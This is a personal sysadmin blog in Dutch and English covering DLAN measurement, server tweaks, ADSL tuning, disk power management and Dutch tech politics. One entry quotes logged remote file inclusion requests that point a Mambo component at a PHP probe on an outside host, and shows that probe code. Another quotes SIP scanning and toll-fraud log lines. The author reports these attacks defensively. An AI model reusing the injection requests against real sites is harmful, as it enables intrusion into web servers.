Koos van den Hout - Homepage

Vandaag was er een bijeenkomst van de pcgg netwerkgroep en dit keer had ik vantevoren wat scripts gemaakt en getest om de theoretische throughput van het dlan netwerk (netwerk over stopcontact) te meten. We hebben er op de lokatie altijd problemen mee, maar toen we er mee begonnen was het stabieler(!) dan de wifi. Dus een keer meten hoe erg het was en hoe het zich in de loop van de dag ontwikkelde leek mij nuttig. Met wat perl kon de output van dlanlist gemasseerd worden om in een rrdtool database te passen en daar uit worden weer grafiekjes gebouwd op dagen dat de 'router' actief is.

• DLAN throughput zaterdag 20 Maart. De verbetering van 'intern' aan het begin is omdat we de videoprojector in een ander stopcontact gestoken hebben. Dat 'extern' eerder wegvalt is omdat de netwerkkabel uit de dlan adapter gezakt was. Daar helpt niets tegen...
• DLAN throughput donderdag 18 Maart. Ter vergelijking, de test van de scripts thuis.

Uiteindelijk blijft het dus moeilijk op deze lokatie.
Bij langer meten zonder veel dataverkeer blijven er trouwens continue dezelfde waarden uit dlanlist komen. Thuis heb ik dat opgelost door even iperf in te zetten. Op de bijeenkomsten komt dat verkeer vanzelf.

A little oops at the Telegraph. Now fixed: Large Hadron Collider breaks energy record which is interesting science news.

Weer een onhandigheid in de blijkbaar vernieuwde Eneco website : Als je op 'mijn eneco' klikt komt er een login scherm overheen maar zodra je muis weer daar vanaf beweegt (in mijn geval omdat ik de juiste gegevens in de password store ging zoeken) is het login scherm gelijk weer weg. De workaround is om naar de oudere versie van de mijn eneco inlogpagina te gaan.
En gelijk ergernisje 2: ook als ik ingelogd ben in de mijn eneco omgeving moet ik op het formulier om bovenstaand te melden alsnog al mijn gegevens invullen. Dus nu heb ik 2 problemen met de website gemeld.

I walked in this morning at work with some people looking at me expectingly. About the third person was nice enough to explain: home directories and mail were unavailable. A quick look showed me that the home directory server was waiting for the ldap server and the ldap server showed a kernel panic on the console. Strangely enough the root ldap object was still available so the monitoring system did not notice it.
Anyway, server systems should not wait for the systems administrator after a panic in my opinion, they should be available. So I looked it up, and indeed: Linux Kernel panic reboot explains how simple it is to change this setting. So I changed all servers at work to give up after a panic and reboot. That should help availability. I'm not interested in the intimate details of a panic, I want working ldap. Yes, as several people noted to me, there are ways in which this can lead to a reboot-loop, for example when the panic is file-system related. I'll take that risk when it will 'fix' all other problems.

unix - linux - storage unixfoo is good at linux and netapp knowledge. I browsed it for a while and found lots of interesting stuff.

Handy unix utility which I had a hard time remembering today: watch. For some reason this is part of procps /proc file system utilities. I used watch to keep an eye on the number of USB storage devices seen by a computer because I was busy hooking up 28 of them at a time to 4 USB hubs and sometimes things were flaky, resulting in the famous usb 7-3.3: device not accepting address 83, error -32. The solution was to unplug and replug the USB device. Trying another hub helped too.

$ watch 'lsusb -t 2>&1| grep -c 0x090c'

This showed the number of USB storage devices (of the type I used) detected so I could plug them in and see whether detection went right.

Dankzij een motie die Arda Gerkens (SP) en Martijn van Dam (PvdA) willen gaan indienen gaat demissionair minister Maria van der Hoeven van Economische Zaken onderzoeken of de overheid bij aanbestedingen verplicht moet vragen naar IPv6.
Goed nieuws voor IPv6 acceptatie. Soms moet een overheid de aanmerkelijke macht inzetten om de markt even een sturing te geven in een richting die later nuttig is voor diezelfde markt.
Bron: Kamerleden @ArdaG en @martijnvdam zijn top. Besteden ook aandacht aan niet-sexy maar wel belangrijke zaken - Twitterbericht Erik Huizer.

One of our users at work reported today that he noticed the 'Previous Versions' tab in windows explorer being active and showing what we think of as the snapshots of the NetApp fileserver. I tried it myself on the windows 2008 terminal server and it works as it should. As my boss noted this is a very important step: having snapshots available is one thing, but having them available in the standard interface which (experienced) windows users can use makes quite a difference. Helpdesk page about filesystem snapshots updated.

Looking for that quiet, remote and very, very, very sturdy place to call home? Try the Atlas F missile base, Adirondack Mtns, NY with features like

The original, heavy security doors are built to withstand a 2000 lb blast and are at the underground home entrance.

and

Huge doors open to a large tunnel that accesses the silo that has an additional 20,000 square feet of useable space with unlimited possibilities. The perfect getaway home, it has its own direct runway access, its climate controlled and is capable of withstanding a nuclear hit.

The Silo has a climate constant/approx. 58 degree earth ambient temperature. It is 52' diameter x 178' deep / 9 floor steel superstructure. Entire steel superstructure hangs from gigantic spring suspension system designed to absorb shock of a direct nuclear hit.

It's also easy to reach:

it is part of an exclusive airport subdivision on a (FAA approved) 2050' runway. (It is fully accessable by road too).

Cheap too: only 2.3 million US dollar. Found via It's WAR - lovelylisting

Met alle aankomende wijzigingen op het werk hebben we besloten om de spamfiltering uit te besteden aan de surfnet mailfilter dienst. Die worden er voor betaald om de filtering dagelijks bij te houden en wij hebben er straks minder tijd voor. Totnogtoe was het natuurlijk altijd onze 'eigen' mailsetup en konden we zelf de spamstats bijhouden, en dat verliezen we.
We hebben eerst students.cs.uu.nl omgezet en vanmorgen cs.uu.nl. In de logs van de studentenmailserver viel me opeens op dat de smtpd ratelimiting (anvil) van postfix aansloeg op de surfnet mailfilters dus ik heb de surfnet mailfilter adressen toegevoegd aan de smtpd_client_event_limit_exceptions setting in postfix. Bij cs.uu.nl gebruiken we postfix, al van toen het nog vmailer heette. In sendmail zou ik voor die IP blokken andere ratelimits kunnen zetten maar postfix heeft blijkbaar alleen de opties default en geen ratelimits.

I made a lolcat: How many times do I need to ask to put the seat down!

De adsl aansluiting is tijden stabiel op 7968/1024 ipv 8000/1024. Met alles rond de aankomende xs4all snelheidsverhoging wilde ik weten of dit de maximale snelheid was die uit de lijn wilde komen. Ik heb in de logs terug zitten graven en sinds de omschakeling van fast op interleaved is 7968 de standaard snelheid. Daarvoor was de downloadsnelheid een tijdje instabiel. Verder lijken de specs ok:

                                  Downstream        Upstream 
Margin       [dB]     :             10.5             20.0 
Attenuation  [dB]     :             19.0             11.5 
OutputPower  [dBm]    :             19.0             12.5 

Available Bandwidth                 Cells/s           Kbit/s 
  Downstream          :            18792             7968 
  Upstream            :             2415             1024 

Als ik zo lees over adsl interleaving kan het toch wel kloppen dat de snelheid nu 7968 kilobit/seconde is en ga ik straks naar een hogere snelheid (ergens in de buurt van 16000 kilobit/seconde).
Update : Later bedacht ik me dat ik ooit de adsl config opermode had aangepast naar multimode om stabieler te zijn met adsl1. De grens van adsl1 zit ergens rond 8000 kilobit. Dus geprobeerd:

[adsl]=>config opermode = multi_adsl2plus

En nu zijn de specs:

                                  Downstream        Upstream 
Margin       [dB]     :              6.0             18.0 
Attenuation  [dB]     :             20.0             11.5 
OutputPower  [dBm]    :              2.0             13.0 

Available Bandwidth                 Cells/s           Kbit/s 
  Downstream          :            18879             8005 
  Upstream            :             2426             1029 

Ik ben benieuwd wat het oplevert als er straks 16000/1024 (nee, nogsteeds geen upstream verbetering..) ingesteld wordt. Mocht het tegenvallen dan heb ik de optie om het adsl modem wat nu op zolder staat een stuk dichter bij het aansluitpunt te plaatsen.

Blast from the past today: I tried to subscribe to a surfnet mailinglist and the response had this bit of information:

Summary of resource utilization
-------------------------------
 CPU time:        0.000 sec                Device I/O:       19
 Overhead CPU:    0.016 sec                Paging I/O:      143
 CPU model:         2-CPU 2.5GHz Xeon L5420 6M (2048M)

I remember these lines in status messages when I first got in touch with mailing lists and listservers in 1992. Back then LISTSERV mostly ran on mainframes where this type of information at the end of a job was normal. Messages from LISTSERV used to have as subject back then "Output of job .." suggesting real batch processing.

Interesting weather this morning: snow started between 7 and 8, and it was nearly melted away again before 11. Overview on webcam.idefix.net Uithof archive Monday 8 March 2010.

Wardriving results 2 February - 7 March 2010: 4204 new networks with GPS locations according to WiGLE. Wardriving areas of the city I haven't visited in a while yields large numbers of new networks at the moment. I guess a lot of people have upgraded their wireless access-points.

Werk aan de ligfietsen dit weekend: bij Mirjam was er tijdens de afgelopen zomervakantie een spatbord afgelopen wat ik nog eens moest terugzetten na het repareren van de stukke popnagels (vervangen door m3 boutjes, inspiratie bij bevestiging spatborden vervangen - knurft.net). Bij mij was er iets ernstigers defect: de binnenkabel van de voorrem brak een paar dagen eerder. Ik heb die vervangen door een andere binnenkabel. Zondag zijn we een heel stuk gaan fietsen en toen ging ook de binnenkabel van de achterrem er aan. Op exact dezelfde manier: gebroken bij de schroef van de rem zelf. Ik had de kabels wat kort afgesteld om goed te kunnen remmen, maar daardoor maakte ik geen gebruik meer van de volle bocht van het draaiende deel van de schijfremklauwen. Dus maar even de fiets naar binnen en kijken of ik het kan repareren. Kabel vervangen, en toen ik de remklauw er af had liggen zag ik een stelschroefje op de remklauw 'L-PAD IN ⇒'. Daar eens aan gedraait maar dat zat nogal vast. Aan de andere kant een 'R-PAD in ⇒' en die wilde wel draaien. Daarmee blijk ik de fijnafstelling van de brakepads aan te kunnen passen. Dus ik heb de remklauw er weer opgeschroeft, de kabel beter afgesteld zodat de kans op breken minder is en vervolgens de brakepads aangedraaid. Nu onthouden dat ik ze eerst moet terugdraaien bij vervanging.

Searching for "idefix.net" to see whether it was listed in some overview of websites with certain vulnerable software I found this gem: idefix-net on Facebook Indonesia. I guess I have some sort of second career I never knew about.

It seems the Turkish provider ttnet.tr fell off the Internet for a few hours today. Since we volunteered ntp.cs.uu.nl for tr.pool.ntp.org the drop in traffic was very, very noticeable.

After a bit of searching I managed to get my Dell Latitude D630 laptop to use the audio buttons in fvwm.

Writing about security on your website has this interesting effect in the logs:

200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:41 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"

The content of heheh.txt is predictable:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

By pure coincidence there is a file http://zerozon.co.kr/data/eeng/id1.txt with the contents:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

And that all looks very familiar: Fx29Shell php attack. This won't keep me from writing about security or amusing myself by browsing the logfiles. Maybe I'll find a fresh attack. This automated one is getting really boring.

Na de uitslag van de gemeenteraadsverkiezingen 2010 trok iemand de conclusie dat het zo niets meer gaat worden met Almere. Gratis mee te nemen dus bij de rommelmarktspullen.
Lokale screengrab, marktplaats had niet genoeg gevoel voor humor om de advertentie te laten staan.

Yes, took the step. The homepage lives at http://idefix.net/ and the old url redirects. And will have to keep doing that for at least 10 years. Or maybe more, the url for my homepage that was valid until August 2000 still has a working redirect. I'm not moving anything else because that would confuse me too much. So the base href in the html source has to stay.

A ~ in your homepage URL is somewhat very nineties so I started making http://idefix.net/ also point at my homepage and I moved the original content of that page to idefix.net history. I'm now wondering whether I should redirect http://idefix.net/~koos/ to the new location (migrating all links in for example search engines) or let both point at the same page.. or what.
I found some discussions on the tilde in the url. Jukka Korpela has an article Why tilde (~) should not be used in Web addresses (URLs) which explains why this unixism is a bad idea in the modern web and the explanation Get Clues from URLs notes:

Most servers use the ~ symbol to represent the personal directories of individuals.
If the URL contains a tilde then be aware that you are probably (although not definitely) looking at a personal page with personal opinions rather than an official site giving the official line.

Well, as I am the owner of idefix.net there should not be any difference between my opinion and the official opinion of the site.
At work we also got rid of the tildes ages ago so maybe I should just follow the sign of the times. Being good webmasters the old urls still work: http://www.cs.uu.nl/~koos/ will redirect to http://people.cs.uu.nl/koos/.
Enough rambling, this change was to me reason for a bump in the minor version number of the homepage.

In Duitsland is de Vorratsdatenspeicherung (bewaarplicht telecommunicatie gegevens) terdege teruggeroepen door het constitutioneel hof omdat de wetgeving in strijd is met de Duitse grondwet. In Duitsland is er wel een constitutioneel hof wat wetten kan toetsen en wat dat mag aan de hand van klachten van Duitse burgers.

Nu nog zoiets in Nederland... artikel 120 van de Nederlandse grondwet verbiedt een constitutioneel hof. Er ligt een wetsvoorstel van Femke Halsema van Groenlinks om de grondwet te wijzigen om dit deels mogelijk te maken. Maar dat moet nog een keer door de tweede en eerste kamer.

Links:

• BVerfG, 1 BvR 256/08 vom 2.3.2010, Absatz-Nr. (1 - 345) de officiële uitspraak (in juridisch Duits..)
• Pressemitteilung Nr. 11/2010 vom 2. März 2010 Persbericht van het Bundesverfassungsgericht
• Karlsruhe kippt Vorratsdatenspeicherung - Heise.de Heise.de (Duits)
• "Hoogste Duitse rechter: 'bewaarplicht is ongrondwettig'" - Bits of Freedom

Nedap stemcomputers zijn niet dood, ze ruiken alleen maar heel raar. Bij de gemeenteraadsverkiezingen morgen weer een oprisping: Toch elektronisch stemmen bij verkiezingen - nu.nl waarbij dus stemcomputers een 'schaduwverkiezing' draaien, men kan na het echte kiezen met het rode potlood ook nog stemmen via een stemcomputer die werkt met het bonnetjessysteem (stem wordt gelijk uitgedraaid op een bonnetje en in een stembus gedeponeerd). Het aantal 'echte' stemmen met potlood en het aantal stemmen op de stemcomputers hoeven dus niet overeen te komen, maar zou Nedap het aandurven dat een accountant de uitslagen van de computers en die van de computerbonnetjes natelt?

First peak at 5000 packets/second ntp traffic seen on ntp.cs.uu.nl. Still going strong under this load.

antiek aan de rol

Een NS DE3 treinstel passeert heel langzaam de overweg in de Huizingalaan in het spoor vanaf Utrecht Maliebaan naar de kruising bij Blauwkapel. Bij navraag blijkt het de DE3 nummer 114 van het spoorwegmuseum te zijn.

I just noticed something: the archive of webcam.idefix.net in the Uithof in Utrecht now covers a longer period (now 3 years and approximately 3 months) than the archive of webcam.idefix.net at the Beneluxlaan in Utrecht (which stopped just a bit over 2 years). How time flies.

Lots of phishing attempts for webmail accounts flying by, at the moment it seems popular to use webform hosters to ask for account credentials. I seem to miss a part of these. Probably my spamfilters being too good or something. But at work there are some people who know I am interested in new and recurring strains of Internet abuse so I still get interesting stuff forwarded to investigate. The latest catch advertised a dot.tk domain which inlined a webform from a tripod hosted site which was a copy of an emailmeform.com form and used emailmeform.com to process it and redirected to a generic thankyou form by a new zealand printer supplies company. It takes a bit of tracing and trying to solve such a puzzle and notify all parties about their role in the abuse.

By now a lot of people in the world are aware of the case of a US, Pennsylvania school was accused of using webcams in school-issued laptops to spy on students at home without their consent (via Slashdot). A lot of theories and weird stories are going around but I found a good technical explanation: The Spy at Harrington High - Stryde Hax who as a bystander and with his technical background has done a thorough analysis of the techniques used and the stance of the people involved in this matter. Good reading material for those who are actually interested in what was really happening.
The original story seems to be turning into this 'Only in America' story: School spying scandal gets even more bizarre - Slashdot:

The student in question that was disciplined for an "improper act" was apparently accused of either drug use or drug selling. Turns out he was eating Mike & Ike candy, not popping pills.

If you want to detect LANRev Agent on a system, Network Fingerprint for LANRev Agent - Stryde Hax has the answer.

SIP scanning is active again. Sandro Gauci came with a link to And the scanning just keeps on coming I checked the logs on 2 asterisk servers for recent break-in attempts and presto... from different IPs, but the pattern I saw before in trying to find insecure SIP servers:

[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"3776548202"<sip:3776548202@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"100"<sip:100@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"101"<sip:101@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"102"<sip:102@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found


[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"952"<sip:952@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"953"<sip:953@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"954"<sip:954@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found

No damage and no costs. The other server shows attempts to use the sip guest environment again:

[Feb 13 05:27:08] NOTICE[5710] chan_sip.c: Call from '' to extension '90442075821233' rejected because extension not found.
[Feb 13 05:27:27] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:27:38] NOTICE[5710] chan_sip.c: Call from '' to extension '0442076311117' rejected because extension not found.
[Feb 13 05:27:40] NOTICE[5710] chan_sip.c: Call from '' to extension '0011447850019298' rejected because extension not found.
[Feb 13 05:27:42] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:27:44] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.
[Feb 13 05:27:56] NOTICE[5710] chan_sip.c: Call from '' to extension '0000447956581268' rejected because extension not found.
[Feb 13 05:27:57] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '900442075964032' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '9011441252625280' rejected because extension not found.
[Feb 13 05:28:09] NOTICE[5710] chan_sip.c: Call from '' to extension '1442074370973' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '00000447889904142' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.

This time with somewhat random looking phone numbers in the UK which aren't well-known to google.

De backup tapes van BBS Koos z'n Doos waren nog leesbaar, dus ik ben nu wat aan het spelen met wat van die tapes af kwam, en dat komt on-line op http://bbs.idefix.net/.

Todays xkcd is very amusing! As a system administrator I can imagine the need for making sure important infrastructure like the blog of a cat.

Friday, time for the Friday Afternoon URL page which you can also follow on twitter as @fridayaftURL to get fresh Friday Afternoon URLs in your twitter feed!

No license to rdesktop for me: I recently got a really weird error from rdesktop:

koos@leek:~$ rdesktop -M -g 1200x900 -d something terminalserver
Autoselected keyboard map en-us
disconnect: No valid license available.

Some searching found me: License to rdesktop. Indeed, setting a different hostname from my own hostname helps:

koos@leek:~$ rdesktop -M -g 1200x900 -d something -n leeks terminalserver
Autoselected keyboard map en-us
/users/koos/.rdesktop/licence.leeks.new: Permission denied
WARNING: Remote desktop does not support colour depth 24; falling back to 16

The license file error has to do with another workaround. But maybe the running out of licenses for 'leek' is because I never give licenses back. Why is all this software very busy with making sure money is made for its maker and not busy with helping the user.

The EFF has written an article Music Journalism is the New Piracy. The music industry seems to have the intention of thoroughly destroying itself, and that destruction will be celebrated by music fans worldwide. Found via Is There Any Way To Be A Music Blogger Without Risking Takedown? at Techdirt.
Or as Boingboing put it: Music industry to musicbloggers: there's no point in obeying the law.

Some actors are annoyed by being typecast in the same roles constantly, but some cities can be typecasted too: I watched WarGames (1983) yesterday and noted in a number of shots of Seattle it was raining. Now I'm watching Firewall (2006) and I think I haven't seen an outdoor scene yet without rain.
I visited Seattle myself and it's not that bad.

Na een lezing van Arnoud Engelfriet op de recente surfnet cert (computer emergency response teams) / ibo (informatie beveiligers in het onderwijs) conferentie ben ik eens door Internetrecht aan het bladeren en hij merkt iets op waar ik me ook vreselijk aan erger: Houd eens op met dat “Bron: Youtube” of “Bron: Flickr.com”!. Het heeft dus ten eerste het aspect dat beide sites het platform zijn en dat de originele auteur prima te vinden is (mijn ergernis) maar ook dat de licentie het niet altijd zomaar toestaat (afhankelijk van de eventuele nieuwswaarde van filmpje / foto).
En prompt zie ik een voorbeeld hoe het wel moet: hln.be geeft bij de eerste foto's van het treinongeluk in België keurig aan: twitpic.com user xxxx. Alleen heb ik het toen niet bewaard en zijn de foto's nu blijkbaar wel vervangen door persfoto's.

Even with my head clouded by a serious cold I had to create my lolcaption when I saw this picture and caption at ROFLRazzi Goes Romantic…ish. My take on it: Dingdong! .. Nobody home!

Sometimes even I use that other 'operating system' which in this particular case had no acrobat pdf reader. So I went to find it.. and it is a 45 meg (!!!) download which installs its own download-manager in Firefox. This download manager advertises for more downloads from Adobe and related companies. All this while Firefox has a perfect download manager of its own and it is all the equivalent of wget $url. To put it mildly: whisky tango foxtrot.

The first friday with the friday afternoon url page using Twitter @fridayaftURL to deal out the weekly dose of Friday afternoon fun.
Technically it all worked. But with myself and only a german url shortening service following it there isn't much of an audience yet! Time to do something about that.

I did some serious web services programming (in perl) and updated the scripts powering the Friday Afternoon URL page to post new urls via Twitter on Friday. You can follow @fridayaftURL to get a weekly dose of Friday afternoon stuff from all over the web. The urls are now stored in a (postgresql) database and on Friday a script runs which searches for new urls and posts them to Twitter using the Twitter api. When urls need to be shortened it uses the ln -s_ web service to shorten them.

I found the probable cause of the not so great power saving: when I installed the first new disk I also updated the bios. And the message I get when trying to load the powernow-k8 cpu driver is:

powernow-k8: Found 1 AMD Athlon(tm) Dual Core Processor 4850e processors (2 cpu cores) (version 2.20.00)
powernow-k8: MP systems not supported by PSB BIOS structure
powernow-k8: MP systems not supported by PSB BIOS structure

So the cpu keeps running at maximum speed without throttling. Searching for the error message finds Ubuntu Bug #33116: powernow-k8 refuses to load and Ubuntu Bug #398109: powernow-k8: Your BIOS does not provide ACPI _PSS objects in a way that Linux understands suggests that I need to check the bios settings to enable "Cool'n'Quiet", enable ACPI APIC and disable MCP61 ACPI HPET Table. That's planned for the next hardware changes.

Ok, I'm usually not the flash and embedding type, but after a bit of trying this one is nice:

My first association when I heard that jingle...

I noticed that the new Western Digital WD15EADS disk spun down way too fast. After some serious testing I found: when I set the "Advanced Power Management" level (using hdparm -B) to 127 or less the "standby (spindown) timeout" (set using hdparm -S) is ignored and the drive spins down after about 5 8 seconds of inactivity. Way too soon when playing a movie, with mplayer the movie stalls about every 10 seconds because a new bit of movie has to be read from disk which causes another start/stop. The smartctl start/stop counter goes up at the same rate. Feels like a firmware bug to me or a difference of opinion between hdparm and the disk. But the hdparm report suggests that these settings should work on the disk:

ATA device, with non-removable media
        Model Number:       WDC WD15EADS-00S2B0                     
        Firmware Revision:  04.05G04

        Standby timer values: spec'd by Standard, with device specific minimum
        Advanced power management level: 126

           *    Power Management feature set

I asked Western Digital customer help about this but the first (standard?) answer is from Support for WD products in LINUX or UNIX which comes down to "we don't support anything else than jumper settings for these operating systems".

A lot of further searching with google suggests to me that the 'IntelliPark' feature is causing the drive to park its heads after 8 seconds of inactivity which is not a useful default when streaming video from it with a reasonable cache. And the 'Load Cycle Count' will go up fast, which may result in the drive reaching the 'suggested maximum' within a year. I don't need to test the warranty that fast.

As a workaround I set the Advanced Power Management level back to 128 and installed spindown which is a utility which watches the disk activity from userspace and issues a spindown command when no activity (from /proc/diskstats, so for linux at the device level) was measured over the configured period of time. Now it spins down when the filesystems have been idle for 10 minutes which is a lot more usable.
Update: Official answer from Western Digital customer help is that it's not possible to change this 8 second timeout. So I'll stick to the spindown solution.